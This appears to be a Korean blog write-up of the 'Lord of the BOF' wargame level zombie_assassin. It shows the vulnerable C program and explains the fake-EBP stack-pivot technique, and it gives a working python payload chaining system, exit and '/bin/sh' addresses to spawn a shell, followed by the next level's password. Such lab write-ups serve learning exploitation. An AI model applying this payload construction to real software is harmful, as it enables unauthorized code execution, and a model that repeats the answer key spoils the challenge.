2011. 6. 11. 22:24

⊙ 문제의 소스를 보자)

/*

The Lord of the BOF : The Fellowship of the BOF

- zombie_assassin

- FEBP

*/

   

#include <stdio.h>

#include <stdlib.h>

   

main(int argc, char *argv[])

{

char buffer[40];

   

if(argc < 2){

printf("argv error\n");

exit(0);

}

   

if(argv[1][47] == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}

   

if(argv[1][47] == '\x40')

{

printf("library retbayed you, too!!\n");

exit(0);

}

   

// strncpy instead of strcpy!

strncpy(buffer, argv[1], 48);

printf("%s\n", buffer);

}


♧ strncpy()함수로 인하여 buffer에 복사할 크기를 48로 정의 함으로써 바로 RTL을 사용하지 못한다.
그래서 제목 제목 처럼 Fake-ebp로 문제를 해결한다.

   

1) FAKE EBP?

♧ 일반 RTL에서는 하나의 함수밖에 호출하지 못하지만 FAKE EBP를 사용 함으로서 여러 함수를 실행하는 공격이 가능 하다.

♧ RET에 leave;ret 주소를 덮음으로써 조작한 ebp로 실행흐름을 바꿀 수 있게 된다.

① 공격 당한 함수의 에필로그(leave;ret)는 fake_ebp0를 %ebp에 집어 넣을 것이다.

② 두 번째 에필로그 역시 fake_ebp1을 %ebp에 집어 넣고, 적당한 매개변수를 가지는 f1으로 리턴 할 것이다.

③ f1이 실행되고 리턴 될 것이다.

④ [ ②와 ③ ]과정이 반복되고, f1에서 부터 f2, f3... fn까지 반복 될 것이다.


   

2) 구성

① 공격 당한 함수의 에필로그 leave가 실행되면 [mov ebp esp]로 인해 esp가 ebp의 시작 지점으로 이동하며
[pop ebp]로 인해 FAKE EBP를 ebp에 넣게 된다.

(이때 pop ebp로 인해 esp+4가 되며 leave의 주소가 들어있다)

② 다음 인스트럭션 명령인 ret이 실행되고 리턴 주소인(leave)가 pop eip가 되면서 다시 leave로 점프하게 된다.

③ 다시 또 한번 leave가 실행되고 ebp에는 FAKE EBP인 버퍼의 시작 주소를 가리키고 있으므로

[ mov ebp esp]로 인해 esp는 buffer의 시작 지점으로 이동하게 되며 [pop ebp]로 인해 esp+4가 된다.

④ 역시 또 한번 ret이 실행 됨으로 system()를 호출하게 된다.


 

   

∑ 익스플로잇 작성!

① 공격 스크립트 작성

"AAAA"

system:

[ 0x40058ae0]

exit:

[ 0x400391e0]

"/bin/sh":

[0x400fbff9]

buffer:

[0xbffffab0]

leave;ret:

[0x080484df]

$(python -c 'print "AAAA" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "A"*24 + "\xb0\xfa\xff\xbf" + "\xdf\x84\x04\x08"')

∑xploit


※ 사전에 chsh명령 -> bash2로 변경 후 재로그인 함

   

assassin : "pushing me away"

Posted by devanix